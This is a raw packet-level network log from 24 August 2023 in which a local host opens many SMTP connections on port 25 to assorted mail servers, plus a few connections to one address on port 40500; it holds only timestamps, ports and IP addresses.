Aug 24, 2023 19:03:34.746422052 CEST	25	50013	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.746690989 CEST	50013	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.766237974 CEST	25	50015	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.766355991 CEST	50015	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.798909903 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.819674015 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.820225000 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.820523977 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:34.823358059 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.823445082 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.823515892 CEST	50005	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.823519945 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.823596001 CEST	50005	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.823724031 CEST	50005	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.837126970 CEST	25	50003	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:34.837270021 CEST	25	50003	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:34.837397099 CEST	50003	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:34.840032101 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.840063095 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.840487003 CEST	50014	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.848926067 CEST	50020	25	192.168.2.8	192.254.234.192
Aug 24, 2023 19:03:34.849668980 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:34.849863052 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:34.853383064 CEST	25	50011	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.854350090 CEST	25	50011	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.854500055 CEST	50011	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.856673002 CEST	25	50016	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:34.856822968 CEST	50016	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:34.859627962 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.860059977 CEST	25	50013	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.860202074 CEST	50013	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.860846996 CEST	25	50007	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:34.861119986 CEST	25	50017	67.231.151.88	192.168.2.8
Aug 24, 2023 19:03:34.861232042 CEST	50017	25	192.168.2.8	67.231.151.88
Aug 24, 2023 19:03:34.867465973 CEST	50021	25	192.168.2.8	74.208.5.21
Aug 24, 2023 19:03:34.872081995 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.904148102 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:34.904438972 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:34.910110950 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.910604954 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:34.910636902 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:34.910957098 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.910957098 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:34.916631937 CEST	50022	40500	192.168.2.8	213.230.111.166
Aug 24, 2023 19:03:34.932883024 CEST	25	49997	34.218.149.231	192.168.2.8
Aug 24, 2023 19:03:34.933504105 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:34.936709881 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:34.936916113 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:34.937114954 CEST	25	50005	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.938534021 CEST	25	50015	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:34.938724041 CEST	50015	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:34.954282999 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:34.954575062 CEST	50014	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:34.955599070 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.956984043 CEST	50023	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:34.966602087 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:34.970810890 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:34.975080967 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:34.975174904 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:34.983280897 CEST	50024	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:34.990554094 CEST	25	49997	34.218.149.231	192.168.2.8
Aug 24, 2023 19:03:34.990780115 CEST	49997	25	192.168.2.8	34.218.149.231
Aug 24, 2023 19:03:34.994216919 CEST	25	50021	74.208.5.21	192.168.2.8
Aug 24, 2023 19:03:34.994338036 CEST	50021	25	192.168.2.8	74.208.5.21
Aug 24, 2023 19:03:34.995132923 CEST	50025	25	192.168.2.8	67.231.150.41
Aug 24, 2023 19:03:35.005081892 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:35.014465094 CEST	25	50013	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.025218010 CEST	25	50011	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.026292086 CEST	25	50011	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.026566029 CEST	50011	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.027429104 CEST	25	50011	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.027602911 CEST	50011	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.030138016 CEST	25	50020	192.254.234.192	192.168.2.8
Aug 24, 2023 19:03:35.030293941 CEST	50020	25	192.168.2.8	192.254.234.192
Aug 24, 2023 19:03:35.036159992 CEST	25	50017	67.231.151.88	192.168.2.8
Aug 24, 2023 19:03:35.036644936 CEST	50017	25	192.168.2.8	67.231.151.88
Aug 24, 2023 19:03:35.039468050 CEST	50026	25	192.168.2.8	72.38.65.185
Aug 24, 2023 19:03:35.045686007 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:35.050451994 CEST	50028	25	192.168.2.8	67.231.154.162
Aug 24, 2023 19:03:35.062123060 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.063694000 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.063760042 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.063800097 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.063931942 CEST	50009	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:35.063961983 CEST	50009	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:35.064088106 CEST	50009	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:35.072928905 CEST	25	50023	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.073182106 CEST	50023	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.073952913 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:35.097589970 CEST	25	50024	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:35.097956896 CEST	50024	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:35.109277010 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.109318018 CEST	25	50015	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.110102892 CEST	25	50015	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.110466957 CEST	50015	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.116255999 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:35.116602898 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:35.118710041 CEST	25	50025	67.231.150.41	192.168.2.8
Aug 24, 2023 19:03:35.118967056 CEST	50025	25	192.168.2.8	67.231.150.41
Aug 24, 2023 19:03:35.123781919 CEST	25	50021	74.208.5.21	192.168.2.8
Aug 24, 2023 19:03:35.123821020 CEST	25	50021	74.208.5.21	192.168.2.8
Aug 24, 2023 19:03:35.123999119 CEST	50021	25	192.168.2.8	74.208.5.21
Aug 24, 2023 19:03:35.124279022 CEST	50021	25	192.168.2.8	74.208.5.21
Aug 24, 2023 19:03:35.130150080 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.130368948 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.134119034 CEST	25	50013	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.134161949 CEST	25	50013	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.134185076 CEST	25	50013	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.134398937 CEST	50013	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:35.134648085 CEST	50013	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:35.145709038 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:35.146200895 CEST	25	50019	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:35.152743101 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.156729937 CEST	25	50017	67.231.151.88	192.168.2.8
Aug 24, 2023 19:03:35.156788111 CEST	25	50017	67.231.151.88	192.168.2.8
Aug 24, 2023 19:03:35.156945944 CEST	50017	25	192.168.2.8	67.231.151.88
Aug 24, 2023 19:03:35.157176971 CEST	50017	25	192.168.2.8	67.231.151.88
Aug 24, 2023 19:03:35.159612894 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.167546988 CEST	25	50026	72.38.65.185	192.168.2.8
Aug 24, 2023 19:03:35.168819904 CEST	50031	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.169713020 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.170033932 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.171159983 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:35.171278954 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:35.175023079 CEST	25	50028	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:35.175183058 CEST	50028	25	192.168.2.8	67.231.154.162
Aug 24, 2023 19:03:35.175935984 CEST	25	49997	34.218.149.231	192.168.2.8
Aug 24, 2023 19:03:35.176014900 CEST	49997	25	192.168.2.8	34.218.149.231
Aug 24, 2023 19:03:35.177503109 CEST	25	50009	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.190427065 CEST	25	50023	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.191054106 CEST	50023	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.192749023 CEST	50019	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:35.197329998 CEST	25	50011	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.202619076 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.202647924 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.202665091 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.202857018 CEST	50014	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:35.202986956 CEST	50014	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:35.245990038 CEST	50032	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.247814894 CEST	25	50013	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.250783920 CEST	25	50021	74.208.5.21	192.168.2.8
Aug 24, 2023 19:03:35.282777071 CEST	25	50015	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.282809019 CEST	25	50015	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.283051014 CEST	50015	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.283205986 CEST	25	50015	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.283315897 CEST	50015	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.284065962 CEST	25	50001	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:35.284185886 CEST	25	50001	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:35.284260035 CEST	50001	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:35.284437895 CEST	50001	25	192.168.2.8	64.136.52.37
Aug 24, 2023 19:03:35.291932106 CEST	25	50025	67.231.150.41	192.168.2.8
Aug 24, 2023 19:03:35.292196035 CEST	50025	25	192.168.2.8	67.231.150.41
Aug 24, 2023 19:03:35.303280115 CEST	25	50028	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:35.303508043 CEST	50028	25	192.168.2.8	67.231.154.162
Aug 24, 2023 19:03:35.307429075 CEST	25	50023	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.307753086 CEST	50023	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.320117950 CEST	25	50014	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:35.322386026 CEST	25	49959	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.335525036 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:35.335819006 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:35.339617968 CEST	50033	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.342650890 CEST	25	50031	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.342786074 CEST	50031	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.343153000 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.343425989 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.364567995 CEST	49959	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.380455017 CEST	50034	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:35.388951063 CEST	50035	25	192.168.2.8	43.154.252.231
Aug 24, 2023 19:03:35.396580935 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.396781921 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.402684927 CEST	50036	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:35.408027887 CEST	25	50034	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:35.408179998 CEST	50034	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:35.416645050 CEST	25	50025	67.231.150.41	192.168.2.8
Aug 24, 2023 19:03:35.416991949 CEST	25	50032	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.417104006 CEST	50032	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.417753935 CEST	25	50025	67.231.150.41	192.168.2.8
Aug 24, 2023 19:03:35.417778015 CEST	25	50025	67.231.150.41	192.168.2.8
Aug 24, 2023 19:03:35.417817116 CEST	50025	25	192.168.2.8	67.231.150.41
Aug 24, 2023 19:03:35.417855978 CEST	50025	25	192.168.2.8	67.231.150.41
Aug 24, 2023 19:03:35.424279928 CEST	25	50023	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.424582005 CEST	50023	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.427623034 CEST	25	50028	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:35.429557085 CEST	25	50028	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:35.429636002 CEST	25	50028	67.231.154.162	192.168.2.8
Aug 24, 2023 19:03:35.429887056 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.429975033 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.441647053 CEST	25	50034	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:35.441936970 CEST	50034	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:35.453695059 CEST	25	50015	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.458251953 CEST	25	50001	64.136.52.37	192.168.2.8
Aug 24, 2023 19:03:35.460793018 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:35.463063002 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:35.463342905 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:35.473160028 CEST	25	50034	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:35.473439932 CEST	50034	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:35.489499092 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.489620924 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.499181032 CEST	25	50024	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:35.499237061 CEST	25	50024	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:35.499262094 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.499378920 CEST	50024	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:35.499627113 CEST	50024	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:35.504760981 CEST	25	50034	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:35.505007029 CEST	50034	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:35.510400057 CEST	25	50033	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.510509968 CEST	50033	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.515431881 CEST	50037	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.531517029 CEST	50038	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:35.533802986 CEST	25	50034	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:35.533982992 CEST	50034	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:35.541007996 CEST	50039	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.544106007 CEST	25	50023	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.544365883 CEST	50023	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.561455965 CEST	25	50034	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:35.562906027 CEST	25	50034	104.47.51.202	192.168.2.8
Aug 24, 2023 19:03:35.563055992 CEST	50034	25	192.168.2.8	104.47.51.202
Aug 24, 2023 19:03:35.574142933 CEST	50040	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.581198931 CEST	50041	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:35.586349010 CEST	25	50036	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:35.586489916 CEST	50036	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:35.594616890 CEST	25	50032	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.594886065 CEST	50032	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.595154047 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:35.595385075 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:35.613388062 CEST	25	50024	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:35.619532108 CEST	25	50041	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:35.619699955 CEST	50041	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:35.620274067 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.620400906 CEST	50018	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.631325960 CEST	25	50031	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.631364107 CEST	25	50037	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.631517887 CEST	50037	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.641231060 CEST	50031	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.656912088 CEST	25	50039	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.657063961 CEST	50039	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.657238960 CEST	25	50035	43.154.252.231	192.168.2.8
Aug 24, 2023 19:03:35.657360077 CEST	50035	25	192.168.2.8	43.154.252.231
Aug 24, 2023 19:03:35.660140991 CEST	25	50023	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.661223888 CEST	25	50023	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.661396980 CEST	50023	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.665568113 CEST	25	50012	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.665862083 CEST	50012	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.666806936 CEST	50042	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.673995972 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.677006960 CEST	50026	25	192.168.2.8	72.38.65.185
Aug 24, 2023 19:03:35.682656050 CEST	25	50033	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.682904005 CEST	50033	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.684305906 CEST	50043	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:35.687889099 CEST	50044	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:35.696232080 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.696367979 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.713450909 CEST	25	50038	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:35.713552952 CEST	50038	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:35.731847048 CEST	25	50041	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:35.732057095 CEST	50041	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:35.742377996 CEST	25	50040	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.742474079 CEST	50040	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.743968964 CEST	50045	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:35.750133991 CEST	25	50037	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.750315905 CEST	50037	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.759347916 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:35.765898943 CEST	25	50032	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.766680956 CEST	25	50032	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.766782999 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:35.766860962 CEST	50032	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.767025948 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:35.770185947 CEST	25	50041	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:35.770226002 CEST	25	50041	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:35.770443916 CEST	50041	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:35.770632029 CEST	25	50010	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:35.770896912 CEST	50010	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:35.775790930 CEST	25	50039	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.776004076 CEST	50039	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.791647911 CEST	25	50043	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:35.791920900 CEST	50043	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:35.792836905 CEST	25	50044	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:35.792926073 CEST	50044	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:35.794411898 CEST	50046	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:35.798512936 CEST	25	50030	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.798574924 CEST	50030	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.805417061 CEST	25	50026	72.38.65.185	192.168.2.8
Aug 24, 2023 19:03:35.806191921 CEST	50047	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:35.809082985 CEST	25	50041	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:35.809175968 CEST	25	50041	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:35.809283018 CEST	50041	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:35.809431076 CEST	50041	25	192.168.2.8	188.125.72.74
Aug 24, 2023 19:03:35.811558962 CEST	25	50031	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.812429905 CEST	25	50031	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.812580109 CEST	50031	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.835552931 CEST	25	50036	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:35.835825920 CEST	50036	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:35.836950064 CEST	25	50042	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.837109089 CEST	50042	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.840781927 CEST	25	49973	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.847480059 CEST	25	50041	188.125.72.74	192.168.2.8
Aug 24, 2023 19:03:35.853140116 CEST	25	50033	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.853992939 CEST	25	50033	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.854176998 CEST	50033	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.866760015 CEST	25	50037	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.867027044 CEST	50037	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.868813038 CEST	50048	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:35.891820908 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:35.892647028 CEST	25	50039	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:35.892942905 CEST	50039	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:35.894146919 CEST	25	50029	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.894370079 CEST	50029	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.895245075 CEST	25	50027	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:35.895775080 CEST	49973	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:35.898638964 CEST	25	50044	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:35.898873091 CEST	50044	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:35.900971889 CEST	25	50043	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:35.901179075 CEST	50043	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:35.911503077 CEST	50022	40500	192.168.2.8	213.230.111.166
Aug 24, 2023 19:03:35.912259102 CEST	25	50040	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.912447929 CEST	50040	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.926815987 CEST	25	50045	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:35.927012920 CEST	50045	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:35.929423094 CEST	25	50046	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:35.929620981 CEST	50046	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:35.937808037 CEST	25	50032	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.938880920 CEST	25	50032	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.939019918 CEST	50032	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.940200090 CEST	25	50032	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.940263033 CEST	50032	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:35.942639112 CEST	50027	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:35.942781925 CEST	25	50010	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:35.942816019 CEST	25	50047	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:35.942982912 CEST	50047	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:35.943044901 CEST	50010	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:35.950993061 CEST	25	50018	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:35.982661009 CEST	25	50031	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:35.983722925 CEST	25	50037	104.47.75.164	192.168.2.8
